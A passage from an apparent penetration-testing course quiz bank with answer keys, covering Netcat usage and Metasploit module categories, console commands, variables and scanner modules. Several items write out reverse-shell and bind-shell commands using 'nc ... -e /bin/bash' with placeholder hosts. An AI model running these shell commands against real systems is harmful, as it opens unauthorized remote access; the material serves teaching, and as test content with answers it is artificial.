- B. Expose a shell from the listening side; this is dangerous because anyone with access may be able to execute commands.
- C. Listen on a port for incoming connections.
- D. Connect to a listening host and port.

Answer: B. Expose a shell from the listening side; this is dangerous because anyone with access may be able to execute commands.

Why: This command is used for the stated Netcat role.

Source page reference: pp. 15-18

Q082 | Command recognition

Which Netcat command pattern best matches this purpose: Connect a shell back to a listener as a basic reverse-shell pattern.

- A. nc <ip> <port> -e /bin/bash
- B. nc -lvnp <port>
- C. nc <ip> <port>
- D. nc -lvnp <port> -e /bin/bash

Answer: A. nc <ip> <port> -e /bin/bash

Why: The lecture associates this command pattern with the stated role.

Source page reference: pp. 15-18

Q083 | Reverse command recognition

What is the best description of nc <ip> <port> -e /bin/bash?

- A. Listen on a port for incoming connections.
- B. Connect a shell back to a listener as a basic reverse-shell pattern.
- C. Connect to a listening host and port.
- D. Expose a shell from the listening side; this is dangerous because anyone with access may be able to execute commands.

Answer: B. Connect a shell back to a listener as a basic reverse-shell pattern.

Why: This command is used for the stated Netcat role.

Source page reference: pp. 15-18

Q084 | Command recognition

Which Netcat command pattern best matches this purpose: Listen and stream a local file to a connecting peer.

- A. nc -lvnp <port> -e /bin/bash
- B. nc -lvnp <port>
- C. nc -lvnp <port> < file_contents_to_send
- D. nc <ip> <port>

Answer: C. nc -lvnp <port> < file_contents_to_send

Why: The lecture associates this command pattern with the stated role.

Source page reference: pp. 15-18

Q085 | Reverse command recognition

What is the best description of nc -lvnp <port> < file_contents_to_send?

- A. Listen and stream a local file to a connecting peer.
- B. Listen on a port for incoming connections.
- C. Expose a shell from the listening side; this is dangerous because anyone with access may be able to execute commands.
- D. Connect to a listening host and port.

Answer: A. Listen and stream a local file to a connecting peer.

Why: This command is used for the stated Netcat role.

Source page reference: pp. 15-18

Q086 | Command recognition

Which Netcat command pattern best matches this purpose: Connect and redirect the received stream into a local file.

- A. nc -lvnp <port>
- B. nc -lvnp <port> -e /bin/bash
- C. nc <ip> <port>
- D. nc <ip> <port> > file_content_received

Answer: D. nc <ip> <port> > file_content_received

Why: The lecture associates this command pattern with the stated role.

Source page reference: pp. 15-18

Q087 | Reverse command recognition

What is the best description of `nc <ip> <port> > file_content_received`?

- A. Expose a shell from the listening side; this is dangerous because anyone with access may be able to execute commands.
- B. Connect to a listening host and port.
- C. Listen on a port for incoming connections.
- D. Connect and redirect the received stream into a local file.

Answer: D. Connect and redirect the received stream into a local file.

Why: This command is used for the stated Netcat role.

Source page reference: pp. 15-18

Q088 | Scenario

Two authorized lab machines need a simple text channel. One machine is waiting for connections and the other initiates the connection. Which pair is appropriate?

- A. Listener: `host -a <domain>`; connector: `lsof -i:8080`
- B. Listener: `nc -lvp <port>`; connector: `nc <ip> <port>`
- C. Listener: `dig +trace <host>`; connector: `ss -at4n`
- D. Listener: `msfconsole`; connector: `exit`

Answer: B. Listener: `nc -lvp <port>`; connector: `nc <ip> <port>`

Why: The basic Netcat example starts a listener and then connects to it from another terminal.

Source page reference: p. 15

Q089 | Concept comparison

Which statement best distinguishes the basic reverse-shell example from the listening-side shell example?

- A. In the reverse-shell example, the listener must always execute `msfvenom`.
- B. In the reverse-shell example, DNS resolution replaces TCP/IP.
- C. In the reverse-shell example, the shell-bearing side initiates a connection back to an empty listener.
- D. In the reverse-shell example, no network connection is established.

Answer: C. In the reverse-shell example, the shell-bearing side initiates a connection back to an empty listener.

Why: The lecture describes the reverse shell as going the other way around: the shell connects to the listener.

Source page reference: pp. 16-17

Q090 | Scenario

An authorized lab tester starts `nc -lvp <port>` on Kali and runs `nc <ip> <port> -e /bin/bash` on the test target. What is being demonstrated?

- A. A basic reverse shell
- B. A passive website archive lookup
- C. A DNS trace
- D. A port-specific `lsof` inspection

Answer: A. A basic reverse shell

Why: The target connects its shell back to the waiting listener.

Source page reference: p. 17

Q091 | Scenario

An authorized lab tester starts `nc -lvnp <port> -e /bin/bash` on a test system, then connects from another machine. What is the key risk?

- A. Anyone with access to the listener may be able to execute commands on the system.
- B. The command permanently disables TCP/IP.
- C. The command automatically encrypts every file.
- D. The command can only display DNS records.

Answer: A. Anyone with access to the listener may be able to execute commands on the system.

Why: The lecture explicitly warns that exposing a shell in this way can let anyone with access execute commands.

Source page reference: p. 16

Q092 | Select all that apply

Which statements are true about the Netcat examples? Select all that apply.

- A. Netcat can listen on a port.
- B. Netcat can connect to a listening IP address and port.
- C. Netcat can stream file contents over the network.
- D. The `-e /bin/bash` examples can expose dangerous command execution.
- E. Netcat is described as a DNS-only utility.

Answer: A, B, C, D

Why: The lecture demonstrates listening, connecting, file streaming, and shell execution, while warning about the security risk.

Source page reference: pp. 15-18

Q093 | EXCEPT / NOT

All of the following are demonstrated Netcat uses EXCEPT:

- A. Streaming a file over the network
- B. Listening on a port
- C. Assigning CVE identifiers to vulnerabilities
- D. Opening a TCP/IP connection

Answer: C. Assigning CVE identifiers to vulnerabilities

Why: CVE identifiers are not assigned by Netcat.

Source page reference: pp. 15-18

Q094 | Assertion-reason

Assertion: The shell-execution examples must be restricted to authorized lab environments.

Reason: Using `netcat -e /bin/bash` can allow anyone with access to execute commands on the system.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The warning directly explains why these examples must stay within controlled authorized environments.

Source page reference: p. 16

Q095 | True / False

In the reverse-shell example, the listener is started without -e /bin/bash.

- A. True
- B. False

Answer: A. True

Why: The lecture starts an empty listener and places -e /bin/bash on the connecting side.

Source page reference: p. 17

Q096 | True / False

The redirection operator > in nc <ip> <port> > file_content_received stores received data in a local file.

- A. True
- B. False

Answer: A. True

Why: The lecture uses output redirection on the receiving side of the file-transfer example.

Source page reference: p. 18

Q097 | Command drill

Which pattern starts an empty Netcat listener?

- A. msfvenom -l payloads
- B. nc -lvnp <port>
- C. nc <ip> <port> -e /bin/bash
- D. dig +trace <host>

Answer: B. nc -lvnp <port>

Why: This follows directly from the Netcat examples in the lecture.

Source page reference: pp. 15-18

Q098 | Command drill

Which pattern causes a host to connect its /bin/bash shell back to a listener?

- A. nc -lvnp <port>
- B. netstat -antp
- C. host -a <domain>
- D. nc <ip> <port> -e /bin/bash

Answer: D. nc <ip> <port> -e /bin/bash

Why: This follows directly from the Netcat examples in the lecture.

Source page reference: pp. 15-18

Q099 | Command drill

Which pattern listens and streams a file to the peer?

- A. nc -lvnp <port> < file_contents_to_send
- B. nc <ip> <port> > file_content_received
- C. nc <ip> <port> -e /bin/bash
- D. ss -at4n

Answer: A. nc -lvnp <port> < file_contents_to_send

Why: This follows directly from the Netcat examples in the lecture.

Source page reference: pp. 15-18

Q100 | Command drill

Which pattern receives a stream into a local file?

- A. nc <ip> <port> > file_content_received
- B. nc -lvnp <port> -e /bin/bash
- C. nc -lvnp <port> < file_contents_to_send
- D. dig +trace <host>

Answer: A. nc <ip> <port> > file_content_received

Why: This follows directly from the Netcat examples in the lecture.

Source page reference: pp. 15-18

Q101 | Netcat variant

In an authorized isolated lab, select the Netcat command pattern that would connect to a listening host and port.

- A. nc -lvnp <port> -e /bin/bash
- B. nc <ip> <port>
- C. nc <ip> <port> -e /bin/bash
- D. nc -lvnp <port>

Answer: B. nc <ip> <port>

Why: The lecture associates nc <ip> <port> with this Netcat behavior.

Source page reference: pp. 15-18

Q102 | Netcat variant

In an authorized isolated lab, select the Netcat command pattern that would expose a shell from the listening side; this is dangerous because anyone with access may be able to execute commands.

- A. nc -lvnp <port> -e /bin/bash
- B. nc <ip> <port> -e /bin/bash
- C. nc <ip> <port>
- D. nc -lvnp <port>

Answer: A. nc -lvnp <port> -e /bin/bash

Why: The lecture associates nc -lvnp <port> -e /bin/bash with this Netcat behavior.

Source page reference: pp. 15-18

Q103 | Netcat comparison variant

Which direction is characteristic of the reverse-shell example?

- A. No TCP/IP connection occurs.
- B. The listener always initiates a DNS trace.
- C. The shell-bearing host initiates a connection back to the waiting listener.
- D. The listener transfers a CVE identifier to the target.

Answer: C. The shell-bearing host initiates a connection back to the waiting listener.

Why: A reverse shell connects back to the listener.

Source page reference: p. 17

Q104 | Safety variant

Why is `nc -lvp <port> -e /bin/bash` dangerous if exposed beyond a controlled lab?

- A. It permanently converts every file into an executable.
- B. A reachable user may be able to execute shell commands on the system.
- C. It guarantees confidentiality.
- D. It disables DNS resolution.

Answer: B. A reachable user may be able to execute shell commands on the system.

Why: The lecture cautions that anyone with access may be able to execute commands.

Source page reference: p. 16

4. Metasploit framework concepts and module categories

30 questions. Answers appear immediately below each item.

Q105 | Definition recognition

Which description best matches the Metasploit Framework?

- A. A firewall configuration language
- B. A secure backup appliance
- C. A DNS-only lookup utility
- D. A framework that provides exploits for vulnerabilities

Answer: D. A framework that provides exploits for vulnerabilities

Why: The lecture introduces Metasploit as a framework that provides exploits for vulnerabilities.

Source page reference: p. 19

Q106 | Reasoning

Why might a penetration tester use an exploit during an authorized assessment?

- A. To replace authorization with technical capability
- B. To avoid documenting the weakness
- C. To guarantee that all future vulnerabilities are removed
- D. To demonstrate that a vulnerability is a real issue through a controlled proof of concept

Answer: D. To demonstrate that a vulnerability is a real issue through a controlled proof of concept

Why: The lecture explains that exploitation may be needed to prove that a vulnerability is a prevalent issue.

Source page reference: p. 19

Q107 | Safety

What is the safest approach to exploit code found online?

- A. Every exploit found online is safe if it compiles.
- B. Online exploit code never needs review.
- C. Not every exploit does what it claims, and some may cause additional damage.
- D. The target owner is responsible for all consequences.

Answer: C. Not every exploit does what it claims, and some may cause additional damage.

Why: The lecture advises reading and understanding exploit code because untrusted code can do more than claimed.

Source page reference: p. 19

Q108 | Assertion-reason

Assertion: A tester should review and understand exploit code before using it.

Reason: Some exploit code found online may do more than claimed and may damage the target.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The risk of untrusted exploit behavior is the reason to inspect code carefully.

Source page reference: p. 19

Q109 | Module classification

Which Metasploit category is best described as follows: Includes port scanners, fuzzers, sniffers, spoofers, and related supporting modules.

- A. Exploits
- B. Post
- C. Auxiliary
- D. Payloads

Answer: C. Auxiliary

Why: This is the lecture description of the auxiliary category.

Source page reference: pp. 20-21

Q110 | Reverse module classification

Which description best matches the Metasploit category Auxiliary?

- A. Code that runs remotely after delivery or exploitation.
- B. Modules that use payloads to exercise a vulnerability.
- C. Includes port scanners, fuzzers, sniffers, spoofers, and related supporting modules.
- D. Modules used after gaining access, such as privilege escalation, credential harvesting, or data extraction.

Answer: C. Includes port scanners, fuzzers, sniffers, spoofers, and related supporting modules.

Why: The lecture associates auxiliary with this role.

Source page reference: pp. 20-21

Q111 | Module classification

Which Metasploit category is best described as follows: Modules that use payloads to exercise a vulnerability.

- A. Payloads
- B. Post
- C. Exploits
- D. Auxiliary

Answer: C. Exploits

Why: This is the lecture description of the exploits category.

Source page reference: pp. 20-21

Q112 | Reverse module classification

Which description best matches the Metasploit category Exploits?

- A. Includes port scanners, fuzzers, sniffers, spoofers, and related supporting modules.
- B. Modules that use payloads to exercise a vulnerability.
- C. Code that runs remotely after delivery or exploitation.
- D. Modules used after gaining access, such as privilege escalation, credential harvesting, or data extraction.

Answer: B. Modules that use payloads to exercise a vulnerability.

Why: The lecture associates exploits with this role.

Source page reference: pp. 20-21

Q113 | Module classification

Which Metasploit category is best described as follows: Code that runs remotely after delivery or exploitation.

- A. Auxiliary
- B. Payloads
- C. Post
- D. Exploits

Answer: B. Payloads

Why: This is the lecture description of the payloads category.

Source page reference: pp. 20-21

Q114 | Reverse module classification

Which description best matches the Metasploit category Payloads?

- A. Modules used after gaining access, such as privilege escalation, credential harvesting, or data extraction.
- B. Includes port scanners, fuzzers, sniffers, spoofers, and related supporting modules.
- C. Modules that use payloads to exercise a vulnerability.
- D. Code that runs remotely after delivery or exploitation.

Answer: D. Code that runs remotely after delivery or exploitation.

Why: The lecture associates payloads with this role.

Source page reference: pp. 20-21

Q115 | Module classification

Which Metasploit category is best described as follows: Modules used after gaining access, such as privilege escalation, credential harvesting, or data extraction.

- A. Auxiliary
- B. Payloads
- C. Exploits
- D. Post

Answer: D. Post

Why: This is the lecture description of the post category.

Source page reference: pp. 20-21

Q116 | Reverse module classification

Which description best matches the Metasploit category Post?

- A. Modules that use payloads to exercise a vulnerability.
- B. Code that runs remotely after delivery or exploitation.
- C. Includes port scanners, fuzzers, sniffers, spoofers, and related supporting modules.
- D. Modules used after gaining access, such as privilege escalation, credential harvesting, or data extraction.

Answer: D. Modules used after gaining access, such as privilege escalation, credential harvesting, or data extraction.

Why: The lecture associates post with this role.

Source page reference: pp. 20-21

Q117 | Module classification

Which Metasploit category is best described as follows: Components used to encode payloads to bypass antivirus or IDS detection.

- A. Auxiliary
- B. Exploits
- C. Payloads
- D. Encoders

Answer: D. Encoders

Why: This is the lecture description of the encoders category.

Source page reference: pp. 20-21

Q118 | Reverse module classification

Which description best matches the Metasploit category Encoders?

- A. Components used to encode payloads to bypass antivirus or IDS detection.
- B. Modules that use payloads to exercise a vulnerability.
- C. Code that runs remotely after delivery or exploitation.
- D. Includes port scanners, fuzzers, sniffers, spoofers, and related supporting modules.

Answer: A. Components used to encode payloads to bypass antivirus or IDS detection.

Why: The lecture associates encoders with this role.

Source page reference: pp. 20-21

Q119 | Module classification

Which Metasploit category is best described as follows: Components that assist buffer-overflow execution.

- A. Nops
- B. Auxiliary
- C. Exploits
- D. Payloads

Answer: A. Nops

Why: This is the lecture description of the nops category.

Source page reference: pp. 20-21

Q120 | Reverse module classification

Which description best matches the Metasploit category Nops?

- A. Components that assist buffer-overflow execution.
- B. Code that runs remotely after delivery or exploitation.
- C. Modules that use payloads to exercise a vulnerability.
- D. Includes port scanners, fuzzers, sniffers, spoofers, and related supporting modules.

Answer: A. Components that assist buffer-overflow execution.

Why: The lecture associates nops with this role.

Source page reference: pp. 20-21

Q121 | Select all that apply

Which items are Metasploit module or component categories? Select all that apply.

- A. Auxiliary
- B. Exploits
- C. Payloads
- D. Post
- E. Encoders
- F. Nops
- G. DNS registrars

Answer: A, B, C, D, E, F

Why: The lecture lists auxiliary, exploits, payloads, post, encoders, and nops.

Source page reference: pp. 20-21

Q122 | Scenario

A tester needs a scanner module to obtain more information about a target. Which Metasploit category should be checked first?

- A. Auxiliary
- B. Payloads
- C. Nops
- D. Post

Answer: A. Auxiliary

Why: Auxiliary modules include scanners and other supporting tools.

Source page reference: pp. 20, 27

Q123 | Scenario

A tester has already gained authorized access and now needs to enumerate users or inspect protections. Which category is most relevant?

- A. Post
- B. Auxiliary only
- C. Encoders
- D. Nops

Answer: A. Post

Why: Post modules are used after access has been obtained.

Source page reference: pp. 21, 34

Q124 | Scenario

Which Metasploit component consists of code that runs remotely?

- A. Nops
- B. Post only
- C. Payloads
- D. Auxiliary

Answer: C. Payloads

Why: The lecture defines payloads as code that runs remotely.

Source page reference: p. 20

Q125 | EXCEPT / NOT

All of the following are examples of auxiliary functionality EXCEPT:

- A. Port scanning
- B. Fuzzing
- C. Running code remotely as the delivered payload
- D. Sniffing

Answer: C. Running code remotely as the delivered payload
Why: Remote-running code is the payload role, not the auxiliary role.

Source page reference: p. 20

Q126 | True / False

Post modules are intended for use after access has been gained.

- A. False
- B. True

Answer: B. True
Why: The lecture explicitly describes post modules as post-access functionality.

Source page reference: p. 21

Q127 | True / False

Nops are as assisting buffer-overflow execution.

- A. True
- B. False

Answer: A. True
Why: This is the role listed for nops.

Source page reference: p. 21

Q128 | Metasploit module variant

Which Metasploit category fits this operational description: Includes port scanners, fuzzers, sniffers, spoofers, and related supporting modules.

- A. Payloads
- B. Auxiliary
- C. Exploits
- D. Post

Answer: B. Auxiliary
Why: The correct category is Auxiliary.

Source page reference: pp. 20-21

Q129 | Metasploit module variant

Which Metasploit category fits this operational description: Modules that use payloads to exercise a vulnerability.

- A. Payloads
- B. Exploits
- C. Post
- D. Auxiliary

Answer: B. Exploits
Why: The correct category is Exploits.

Source page reference: pp. 20-21

Q130 | Metasploit module variant

Which Metasploit category fits this operational description: Code that runs remotely after delivery or exploitation.

- A. Payloads
- B. Exploits
- C. Post
- D. Auxiliary

Answer: A. Payloads

Why: The correct category is Payloads.

Source page reference: pp. 20-21

Q131 | Metasploit module variant

Which Metasploit category fits this operational description: Modules used after gaining access, such as privilege escalation, credential harvesting, or data extraction.

- A. Exploits
- B. Payloads
- C. Post
- D. Auxiliary

Answer: C. Post

Why: The correct category is Post.

Source page reference: pp. 20-21

Q132 | Metasploit module variant

Which Metasploit category fits this operational description: Components used to encode payloads to bypass antivirus or IDS detection.

- A. Exploits
- B. Auxiliary
- C. Encoders
- D. Payloads

Answer: C. Encoders

Why: The correct category is Encoders.

Source page reference: pp. 20-21

Q133 | Metasploit module variant

Which Metasploit category fits this operational description: Components that assist buffer-overflow execution.

- A. Payloads
- B. Auxiliary
- C. Exploits
- D. Nops

Answer: D. Nops

Why: The correct category is Nops.

Source page reference: pp. 20-21

Q134 | Exploit safety variant

What is the safest appropriate approach before using exploit code found online in a scoped test?

- A. Skip authorization if the exploit is popular.
- B. Inspect and understand what the code does before use.
- C. Run it immediately because public code is always safe.
- D. Assume that compilation proves safety.

Answer: B. Inspect and understand what the code does before use.

Why: The lecture warns that online exploit code may cause additional damage.

Source page reference: p. 19

5. Metasploit console workflow, variables, scanners, and exploit mapping

88 questions. Answers appear immediately below each item.

Q135 | Console command recognition

Which Metasploit command best matches this purpose: Start the Metasploit console.

- A. search appletv
- B. exit
- C. help
- D. msfconsole

Answer: D. msfconsole

Why: The lecture uses msfconsole for this console operation.

Source page reference: pp. 22-30

Q136 | Reverse console command

What is the best description of the Metasploit command msfconsole?

- A. Leave Metasploit.
- B. Use the built-in search function to find modules related to appletv.
- C. Start the Metasploit console.
- D. Display Metasploit commands and their descriptions.

Answer: C. Start the Metasploit console.

Why: The lecture associates msfconsole with this operation.

Source page reference: pp. 22-30

Q137 | Console command recognition

Which Metasploit command best matches this purpose: Display Metasploit commands and their descriptions.

- A. help
- B. search appletv
- C. exit
- D. msfconsole

Answer: A. help

Why: The lecture uses help for this console operation.

Source page reference: pp. 22-30

Q138 | Reverse console command

What is the best description of the Metasploit command help?

- A. Start the Metasploit console.
- B. Leave Metasploit.
- C. Use the built-in search function to find modules related to appletv.
- D. Display Metasploit commands and their descriptions.

Answer: D. Display Metasploit commands and their descriptions.

Why: The lecture associates help with this operation.

Source page reference: pp. 22-30

Q139 | Console command recognition

Which Metasploit command best matches this purpose: Leave Metasploit.

- A. help
- B. msfconsole
- C. search appletv
- D. exit

Answer: D. exit

Why: The lecture uses exit for this console operation.

Source page reference: pp. 22-30

Q140 | Reverse console command

What is the best description of the Metasploit command exit?

- A. Leave Metasploit.
- B. Display Metasploit commands and their descriptions.
- C. Start the Metasploit console.
- D. Use the built-in search function to find modules related to appletv.

Answer: A. Leave Metasploit.

Why: The lecture associates exit with this operation.

Source page reference: pp. 22-30

Q141 | Console command recognition

Which Metasploit command best matches this purpose: Use the built-in search function to find modules related to appletv.

- A. search appletv
- B. exit
- C. msfconsole
- D. help

Answer: A. search appletv

Why: The lecture uses search appletv for this console operation.

Source page reference: pp. 22-30

Q142 | Reverse console command

What is the best description of the Metasploit command search appletv?

- A. Display Metasploit commands and their descriptions.
- B. Leave Metasploit.
- C. Start the Metasploit console.
- D. Use the built-in search function to find modules related to appletv.

Answer: D. Use the built-in search function to find modules related to appletv.

Why: The lecture associates search appletv with this operation.

Source page reference: pp. 22-30

Q143 | Console command recognition

Which Metasploit command best matches this purpose: Select a module by its displayed index.

- A. exit
- B. use 0
- C. msfconsole
- D. help

Answer: B. use 0

Why: The lecture uses use 0 for this console operation.

Source page reference: pp. 22-30

Q144 | Reverse console command

What is the best description of the Metasploit command use 0?

- A. Select a module by its displayed index.
- B. Display Metasploit commands and their descriptions.
- C. Start the Metasploit console.
- D. Leave Metasploit.

Answer: A. Select a module by its displayed index.

Why: The lecture associates use 0 with this operation.

Source page reference: pp. 22-30

Q145 | Console command recognition

Which Metasploit command best matches this purpose: Select a module by its path.

- A. use <MODULE PATH>
- B. msfconsole
- C. help
- D. exit

Answer: A. use <MODULE PATH>

Why: The lecture uses use <MODULE PATH> for this console operation.

Source page reference: pp. 22-30

Q146 | Reverse console command

What is the best description of the Metasploit command use <MODULE PATH>?

- A. Start the Metasploit console.
- B. Display Metasploit commands and their descriptions.
- C. Leave Metasploit.
- D. Select a module by its path.

Answer: D. Select a module by its path.

Why: The lecture associates use <MODULE PATH> with this operation.

Source page reference: pp. 22-30

Q147 | Console command recognition

Which Metasploit command best matches this purpose: Display more information about the currently selected module.

- A. exit
- B. help
- C. info
- D. msfconsole

Answer: C. info

Why: The lecture uses info for this console operation.

Source page reference: pp. 22-30

Q148 | Reverse console command

What is the best description of the Metasploit command info?

- A. Display more information about the currently selected module.
- B. Leave Metasploit.
- C. Start the Metasploit console.
- D. Display Metasploit commands and their descriptions.

Answer: A. Display more information about the currently selected module.

Why: The lecture associates info with this operation.

Source page reference: pp. 22-30

Q149 | Console command recognition

Which Metasploit command best matches this purpose: Display configurable and required options for the selected module.

- A. help
- B. exit
- C. msfconsole
- D. show options

Answer: D. show options

Why: The lecture uses show options for this console operation.

Source page reference: pp. 22-30

Q150 | Reverse console command

What is the best description of the Metasploit command show options?

- A. Leave Metasploit.
- B. Display Metasploit commands and their descriptions.
- C. Start the Metasploit console.
- D. Display configurable and required options for the selected module.

Answer: D. Display configurable and required options for the selected module.

Why: The lecture associates show options with this operation.

Source page reference: pp. 22-30

Q151 | Console command recognition

Which Metasploit command best matches this purpose: Execute the selected auxiliary module or configured action.

- A. exit
- B. msfconsole
- C. run
- D. help

Answer: C. run

Why: The lecture uses run for this console operation.

Source page reference: pp. 22-30

Q152 | Reverse console command

What is the best description of the Metasploit command run?

- A. Start the Metasploit console.
- B. Leave Metasploit.
- C. Display Metasploit commands and their descriptions.
- D. Execute the selected auxiliary module or configured action.

Answer: D. Execute the selected auxiliary module or configured action.

Why: The lecture associates run with this operation.

Source page reference: pp. 22-30

Q153 | Select all that apply

Which actions are valid part of basic Metasploit console use? Select all that apply.

- A. Start with msfconsole
- B. Use help to view commands
- C. Use exit to leave
- D. Search for modules
- E. Select a module using use
- F. Use info to inspect a module
- G. Assume all required settings are automatically correct

Answer: A, B, C, D, E, F

Why: The lecture demonstrates these console actions and separately explains that required settings must often be configured.

Source page reference: pp. 22-26

Q154 | Variable recognition

Which Metasploit variable best matches this meaning: Target host IP address?

- A. LHOST
- B. RHOST
- C. RPORT
- D. LPORT

Answer: B. RHOST

Why: RHOST is used for target host ip address.

Source page reference: pp. 26, 29, 33

Q155 | Reverse variable recognition

What does RHOST represent in the Metasploit examples?

- A. Target host IP address
- B. Attacker or local listener IP address
- C. Attacker or local listener port
- D. Target port

Answer: A. Target host IP address
Why: RHOST represents target host ip address.

Source page reference: pp. 26, 29, 33

Q156 | Variable recognition

Which Metasploit variable best matches this meaning: Target port?

- A. RHOST
- B. LHOST
- C. RPORT
- D. LPORT

Answer: C. RPORT
Why: RPORT is used for target port.

Source page reference: pp. 26, 29, 33

Q157 | Reverse variable recognition

What does RPORT represent in the Metasploit examples?

- A. Attacker or local listener IP address
- B. Target host IP address
- C. Attacker or local listener port
- D. Target port

Answer: D. Target port
Why: RPORT represents target port.

Source page reference: pp. 26, 29, 33

Q158 | Variable recognition

Which Metasploit variable best matches this meaning: Attacker or local listener IP address?

- A. LHOST
- B. RHOST
- C. RPORT
- D. LPORT

Answer: A. LHOST
Why: LHOST is used for attacker or local listener ip address.

Source page reference: pp. 26, 29, 33

Q159 | Reverse variable recognition

What does LHOST represent in the Metasploit examples?

- A. Attacker or local listener port
- B. Target host IP address
- C. Attacker or local listener IP address
- D. Target port

Answer: C. Attacker or local listener IP address

Why: LHOST represents attacker or local listener ip address.

Source page reference: pp. 26, 29, 33

Q160 | Variable recognition

Which Metasploit variable best matches this meaning: Attacker or local listener port?

- A. RPORT
- B. LHOST
- C. LPORT
- D. RHOST

Answer: C. LPORT

Why: LPORT is used for attacker or local listener port.

Source page reference: pp. 26, 29, 33

Q161 | Reverse variable recognition

What does LPORT represent in the Metasploit examples?

- A. Target host IP address
- B. Attacker or local listener IP address
- C. Target port
- D. Attacker or local listener port

Answer: D. Attacker or local listener port

Why: LPORT represents attacker or local listener port.

Source page reference: pp. 26, 29, 33

Q162 | Variable recognition

Which Metasploit variable best matches this meaning: One or more target hosts for modules that support host lists?

- A. LHOST
- B. RHOST
- C. RHOSTS
- D. RPORT

Answer: C. RHOSTS

Why: RHOSTS is used for one or more target hosts for modules that support host lists.

Source page reference: pp. 26, 29, 33

Q163 | Reverse variable recognition

What does RHOSTS represent in the Metasploit examples?

- A. Target host IP address
- B. Attacker or local listener IP address
- C. Target port
- D. One or more target hosts for modules that support host lists

Answer: D. One or more target hosts for modules that support host lists

Why: RHOSTS represents one or more target hosts for modules that support host lists.

Source page reference: pp. 26, 29, 33

Q164 | Scenario

A reverse TCP exploit requires the tester to specify the IP address of the Kali listener. Which variable is most relevant?

- A. RHOST
- B. RHOSTS
- C. LHOST
- D. RPORT

Answer: C. LHOST

Why: LHOST is the local or attacker-side host address in the lecture examples.

Source page reference: pp. 26, 33

Q165 | Scenario

A scanner module needs the address of the machine being assessed. Which variable is most likely to be required?

- A. LHOST
- B. ENCODER
- C. LPORT
- D. RHOSTS

Answer: D. RHOSTS

Why: The scanner examples use RHOSTS for target host addresses.

Source page reference: pp. 26, 29

Q166 | Auxiliary scanner recognition

Which auxiliary scanner path best matches this role: SMB version scanner?

- A. auxiliary/scanner/ftp/anonymous
- B. scanner/smb/smb_version
- C. scanner/ssh/ssh_version
- D. auxiliary/scanner/mssql/mssql_ping

Answer: B. scanner/smb/smb_version

Why: The lecture lists scanner/smb/smb_version for the smb version scanner.

Source page reference: p. 27

Q167 | Reverse auxiliary scanner

What is the purpose of scanner/smb/smb_version?

- A. SMB version scanner
- B. SQL Server scan
- C. Anonymous FTP server scan
- D. SSH server version scan

Answer: A. SMB version scanner

Why: The lecture lists this module as a smb version scanner.

Source page reference: p. 27

Q168 | Auxiliary scanner recognition

Which auxiliary scanner path best matches this role: SQL Server scan?

- A. auxiliary/scanner/mssql/mssql_ping
- B. scanner/ssh/ssh_version
- C. auxiliary/scanner/ftp/anonymous
- D. scanner/smb/smb_version

Answer: A. auxiliary/scanner/mssql/mssql_ping

Why: The lecture lists auxiliary/scanner/mssql/mssql_ping for the sql server scan.

Source page reference: p. 27

Q169 | Reverse auxiliary scanner

What is the purpose of auxiliary/scanner/mssql/mssql_ping?

- A. Anonymous FTP server scan
- B. SQL Server scan
- C. SSH server version scan
- D. SMB version scanner

Answer: B. SQL Server scan

Why: The lecture lists this module as a sql server scan.

Source page reference: p. 27

Q170 | Auxiliary scanner recognition

Which auxiliary scanner path best matches this role: SSH server version scan?

- A. auxiliary/scanner/mssql/mssql_ping
- B. scanner/ssh/ssh_version
- C. auxiliary/scanner/ftp/anonymous
- D. scanner/smb/smb_version

Answer: B. scanner/ssh/ssh_version

Why: The lecture lists scanner/ssh/ssh_version for the ssh server version scan.

Source page reference: p. 27

Q171 | Reverse auxiliary scanner

What is the purpose of scanner/ssh/ssh_version?

- A. SSH server version scan
- B. SQL Server scan
- C. SMB version scanner
- D. Anonymous FTP server scan

Answer: A. SSH server version scan

Why: The lecture lists this module as a ssh server version scan.

Source page reference: p. 27

Q172 | Auxiliary scanner recognition

Which auxiliary scanner path best matches this role: Anonymous FTP server scan?

- A. auxiliary/scanner/mssql/mssql_ping
- B. auxiliary/scanner/ftp/anonymous
- C. scanner/smb/smb_version
- D. scanner/ssh/ssh_version

Answer: B. auxiliary/scanner/ftp/anonymous

Why: The lecture lists auxiliary/scanner/ftp/anonymous for the anonymous ftp server scan.

Source page reference: p. 27

Q173 | Reverse auxiliary scanner

What is the purpose of auxiliary/scanner/ftp/anonymous?

- A. Anonymous FTP server scan
- B. SMB version scanner
- C. SQL Server scan
- D. SSH server version scan

Answer: A. Anonymous FTP server scan

Why: The lecture lists this module as a anonymous ftp server scan.

Source page reference: p. 27

Q174 | Auxiliary scanner recognition

Which auxiliary scanner path best matches this role: FTP server version scan?

- A. scanner/ssh/ssh_version
- B. scanner/smb/smb_version
- C. auxiliary/scanner/ftp/ftp_version
- D. auxiliary/scanner/mssql/mssql_ping

Answer: C. auxiliary/scanner/ftp/ftp_version

Why: The lecture lists auxiliary/scanner/ftp/ftp_version for the ftp server version scan.

Source page reference: p. 27

Q175 | Reverse auxiliary scanner

What is the purpose of auxiliary/scanner/ftp/ftp_version?

- A. SSH server version scan
- B. FTP server version scan
- C. SMB version scanner
- D. SQL Server scan

Answer: B. FTP server version scan

Why: The lecture lists this module as a ftp server version scan.

Source page reference: p. 27

Q176 | Auxiliary scanner recognition

Which auxiliary scanner path best matches this role: VNC protocol login scan?

- A. scanner/ssh/ssh_version
- B. auxiliary/scanner/vnc/vnc_login
- C. auxiliary/scanner/mssql/mssql_ping
- D. scanner/smb/smb_version

Answer: B. auxiliary/scanner/vnc/vnc_login

Why: The lecture lists auxiliary/scanner/vnc/vnc_login for the vnc protocol login scan.

Source page reference: p. 27

Q177 | Reverse auxiliary scanner

What is the purpose of auxiliary/scanner/vnc/vnc_login?

- A. SMB version scanner
- B. VNC protocol login scan
- C. SQL Server scan
- D. SSH server version scan

Answer: B. VNC protocol login scan

Why: The lecture lists this module as a vnc protocol login scan.

Source page reference: p. 27

Q178 | Auxiliary scanner recognition

